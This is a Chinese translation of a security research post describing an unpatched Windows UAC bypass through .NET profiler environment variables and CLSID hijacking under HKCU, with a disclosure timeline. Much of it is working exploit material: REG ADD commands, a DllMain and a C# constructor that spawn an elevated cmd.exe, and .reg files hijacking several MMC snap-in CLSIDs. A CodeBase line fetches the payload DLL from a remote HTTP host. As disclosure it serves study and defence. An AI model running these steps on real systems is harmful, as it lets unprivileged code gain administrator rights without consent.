翻譯:通過.NET程序提權(quán)繞過UAC

.NET框架可以通過用戶自定義環(huán)境變量和CLSID注冊表項來加載profiler DLL或者COM組件DLL,甚至當(dāng)前進(jìn)程是提權(quán)的。這種行為可以被利用來繞過Windows 7到10(包括最近的RS3)系統(tǒng)的默認(rèn)UAC設(shè)置,如通過自動提權(quán).NET進(jìn)程(MMC管理單元)來加載任意的DLL。

介紹

去年五月, Casey Smith在他的博客和Twitter上指出.NET分析器的DLL加載可能會被濫用,通過環(huán)境變量使合法的.NET程序加載一個惡意DLL

當(dāng)看到這一點,腦海中第一種想法就是,如果這個方法在高權(quán)限.NET進(jìn)程也可以工作,那這將是一個繞過UAC的好辦法。果然,確實如此。

這個問題到寫這篇博客時依然沒有修復(fù),而且可能一直如此——但是在7月,它被 Stefan Kanthak獨立地發(fā)現(xiàn)并報告了,按完整披露流程公布了該問題。

繞過UAC

要讓一個.NET應(yīng)用程序加載任意一個DLL,我們可以使用以下環(huán)境變量。

COR_ENABLE_PROFILING=1
COR_PROFILER={GUID}
COR_PROFILER_PATH=C:\path\to\some.dll

在.NET 4以下版本,CLSID必須在HKCR\CLSID{GUID}\InprocServer32定義包含profiling DLL的路徑的注冊表鍵。在最近版本中,CLR通過COR_PROFILER_PATH環(huán)境變量來找這個DLL,如果COR_PROFILER_PATH沒有定義再使用CLSID查找。

HKCR\CLSID是HKLM和HKCU下Software\Classes\CLSID組合起來顯示的。在HKLM(或者系統(tǒng)環(huán)境變量)下創(chuàng)建CLSID鍵需要提權(quán),而在HKCU下創(chuàng)建不需要。需要注意,在用戶環(huán)境變量和HKCU注冊表項下一切也都工作正常。

可以簡單使用一段批處理命令讓它工作:

REG ADD "HKCU\Software\Classes\CLSID\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}\InprocServer32" /ve /t REG_EXPAND_SZ /d "C:\Temp\test.dll" /f
REG ADD "HKCU\Environment" /v "COR_PROFILER" /t REG_SZ /d "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" /f
REG ADD "HKCU\Environment" /v "COR_ENABLE_PROFILING" /t REG_SZ /d "1" /f
REG ADD "HKCU\Environment" /v "COR_PROFILER_PATH" /t REG_SZ /d "C:\Temp\test.dll" /f
mmc gpedit.msc

這些命令在低權(quán)限命令行下可以在高權(quán)限的mmc.exe進(jìn)程中加載C:\temp\test.dll(如果存在)。可以繞過Windows 7到10(包括最新RS3)系統(tǒng)的默認(rèn)UAC設(shè)置。

net-bypass-uac-1.png

內(nèi)嵌DLL的powershell POC可以在這里找到(只支持X64)。

這個DLL只在DLL_PROCESS_ATTACH下運行一個cmd.exe,會產(chǎn)生一個提權(quán)的命令行終端,然后馬上退出當(dāng)前進(jìn)程,阻止MMC控制臺彈出。

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
    char cmd[] = "cmd.exe";

    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
        WinExec(cmd, SW_SHOWNORMAL);
        ExitProcess(0);
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

在Windows 7,8.1,10 1703和10 RS3 build 16275中測試通過。
當(dāng)然,如果你有可訪問的SMB共享,UNC路徑也可以工作。

COR_PROFILER_PATH=\\server\share\test.dll

根本原因

COM運行時在運行高權(quán)限進(jìn)程時會阻止在HKCU查找CLSID,所以這種繞過方式無效,但是.NET運行時沒有阻止,在這種情況下,.NET在shim組件查找時會查找這些鍵值。

net-bypass-uac-2.png

如果要修復(fù),需要CLR實現(xiàn)和COM一樣的檢查。

更多維度

現(xiàn)在我們知道CLR是如何工作的了,我們可以在堆棧中找他CLR調(diào)用的其他在HKCU查找CLSID的實例。一個實例是GPEdit(Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager)組件(在我測試虛擬機中CLSID是{B29D466A-857D-35BA-8712-A758861BFEA1})。

net-bypass-uac-3.png

查看HKCU已經(jīng)存在的項中,好像是指向CLR程序及自己實現(xiàn)的組件。

net-bypass-uac-4.png

我們可以在HKCU下像這樣定義一個COM項(.reg格式):

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}]
@="Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\Implemented Categories]

[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\Implemented Categories\{62C8FE65-4EBB-45E7-B440-6E39B2CDBF29}]

[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\InprocServer32]
@="C:\\Windows\\System32\\mscoree.dll"
"Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral"
"Class"="TestDotNet.Class1"
"RuntimeVersion"="v4.0.30319"
"ThreadingModel"="Both"
"CodeBase"="file://C://Temp//test_managed.dll"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\InprocServer32\10.0.0.0]
"Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral"
"Class"="TestDotNet.Class1"
"RuntimeVersion"="v4.0.30319"
"CodeBase"="file://C://Temp//test_managed.dll"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\ProgId]
@="Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager"

MMC會加載我們的托管DLL,并且嘗試訪問TestDotNet.Class1類。C#沒有一種簡單的創(chuàng)建入口是DllMain的簡單DLL(我們很懶所以不想寫模塊初始化),但是貌似注冊表指向的類被加載了,所以我們只需要一個靜態(tài)構(gòu)造函數(shù)來執(zhí)行我們的提權(quán)代碼。

using System;
using System.Diagnostics;

namespace TestDotNet
{
   public class Class1
   {
      static Class1()
      { 
         Process.Start("cmd.exe");
         Environment.Exit(0);
      }
   }
}

將DLL放在注冊表項定義的位置,然后運行g(shù)pedit.msc,可以看到彈出了一個提權(quán)的終端(和.NET一樣)。

net-bypass-uac-5.png
net-bypass-uac-6.png

這種方式一個有趣的點是CodeBase不僅限于本地文件和SMB共享,這個DLL還可以從HTTP鏈接中加載。

"CodeBase"="http://server:8080/test_managed.dll"

需要注意的是下載的DLL會拷貝到硬盤上,所以這種方式比本地DLL更好檢測(硬盤+網(wǎng)絡(luò)組合)。

另外一件好事(對攻擊者)是這種方式下可以濫用多種CLSID。
下面是在compmgmt.msc,event、vwr.msc,secpol.msc和taskschd.msc可使用CLSID:

  1. 托管DLL的Microsoft.ManagementConsole.Advanced.FrameworkSnapInFactor組件
net-bypass-uac-7.png
Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}]
@="Microsoft.ManagementConsole.Advanced.FrameworkSnapInFactory"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\Implemented Categories]

[HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\Implemented Categories\{62C8FE65-4EBB-45e7-B440-6E39B2CDBF29}]

[HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\InprocServer32]
@="C:\\Windows\\System32\\mscoree.dll"
"Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral"
"Class"="TestDotNet.Class1"
"RuntimeVersion"="v2.0.50727"
"ThreadingModel"="Both"
"CodeBase"="file://C://Temp//test_managed.dll"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\InprocServer32\3.0.0.0]
"Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral"
"Class"="TestDotNet.Class1"
"RuntimeVersion"="v2.0.50727"
"CodeBase"="file://C://Temp//test_managed.dll"
  1. Native DLL的NDP SymBinder組件,劫持\Server項
net-bypass-uac-8.png
Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}]
@="NDP SymBinder"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32]
@="C:\\Windows\\System32\\mscoree.dll"
"ThreadingModel"="Both"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32\4.0.30319]
@="4.0.30319"
"ImplementedInThisVersion"=""

[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\ProgID]
@="CorSymBinder_SxS"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\Server]
@="C:\\Temp\\test_unmanaged.dll"
  1. Native DLL的Microsoft Common Language Runtime Meta Data組件,劫持\Server項(只有secpol.msc可用)
net-bypass-uac-9.png
Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}]
@="Microsoft Common Language Runtime Meta Data"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}\InprocServer32]
@="C:\\Windows\\System32\\mscoree.dll"
"ThreadingModel"="Both"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}\InprocServer32\4.0.30319]
@="4.0.30319"
"ImplementedInThisVersion"=""

[HKEY_CURRENT_USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}\ProgID]
@="CLRMetaData.CorRuntimeHost.2"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}\Server]
@="..\\..\\..\\..\\Temp\\test_unmanaged.dll"

(注意:路徑必須是相對的,否則mmc.exe會嘗試加載C:\Windows\Microsoft.NET\Framework64\v4.0.30319\C:\Temp\test_unmanaged.dll)

不是安全邊界

微軟多次申明UAC不是一個安全邊界,安全從業(yè)者以更務(wù)實的角度來看它:不要信任UAC,不要用admin運行,用非admin用戶運行不需要admin的任務(wù),我非常贊同這種說法。

但是依然很多人用admin運行所有的東西,他們都是滲透測試人員和紅色組織(都是壞人)感興趣的目標(biāo)。所以我猜測還會有新的關(guān)于UAC的有趣技術(shù)。

如果為了滲透測試,我推薦使用@tiraniddo的例子一個已經(jīng)實現(xiàn),另一個也快來了),它不需要加載DLL,并且目前大部分EDR解決方案還不能捕獲它。

另外,如果你也在研究繞過UAC,這個主題外有很多資源,但是下面的必須讀一下:

  • @enigma0x3's research (and his upcoming DerbyCon talk)
  • @tiraniddo's bypass techniques on UAC via the SilentCleanup task and process token reading: part 1, part 2 & part 3
  • @hFireF0X's UACME project that implements most known UAC bypasses, and his posts on kernelmode
  • @FuzzySec's UAC workshop, and his Bypass-UAC project that implements several bypasses in PowerShell

非常感謝Casey Smith(@subtee)指出.NET profiler DLL技巧,并且感謝對微軟開發(fā)者找到根本原因給予的幫助,謝謝Matt Graeber (@mattifestation) 的意見和review。

進(jìn)展時間

2017-05-19 發(fā)現(xiàn)bypass
2017-05-20 給MSRC發(fā)郵件 (cc'ing an MS dev as suggested by @mattifestation)
2017-05-22 MSRC創(chuàng)建主題 #38811
2017-05-20/23 和 MS dev討論
2017-06-24 MSRC回復(fù): "We have finished our investigation and determined this does not meet the bar for servicing downlevel. UAC is not a security boundary."
2017-07-05 Stefan Kanthak繞過方案的完整披露
2017-09-15 發(fā)表本篇文章

文章來源:https://offsec.provadys.com/UAC-bypass-dotnet.html

轉(zhuǎn)載請注明:http://anhkgg.com/tans-net-bypass-uac/

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 眾所周知,性能問題是所有實用應(yīng)用在迭代過程中必然要面對的問題。對于此類問題,簡單地投入更多硬件資源的做法可能會取得...
    OneAPM閱讀 742評論 0 3
  • 分享人:傅云特邀嘉賓: 周振濤 原文出處: 鏈接:https://bbs.kafan.cn/thread-20...
    胡諾閱讀 1,490評論 0 0
  • Spring Cloud為開發(fā)人員提供了快速構(gòu)建分布式系統(tǒng)中一些常見模式的工具(例如配置管理,服務(wù)發(fā)現(xiàn),斷路器,智...
    卡卡羅2017閱讀 136,697評論 19 139
  • 一、溫故而知新 1. 內(nèi)存不夠怎么辦 內(nèi)存簡單分配策略的問題地址空間不隔離內(nèi)存使用效率低程序運行的地址不確定 關(guān)于...
    SeanCST閱讀 8,142評論 0 27
  • 《騰訊桌球:客戶端總結(jié)》 本次分享總結(jié),起源于騰訊桌球項目,但是不僅僅限于項目本身。雖然基于Unity3D,很多東...
    吳秦閱讀 25,298評論 12 143

友情鏈接更多精彩內(nèi)容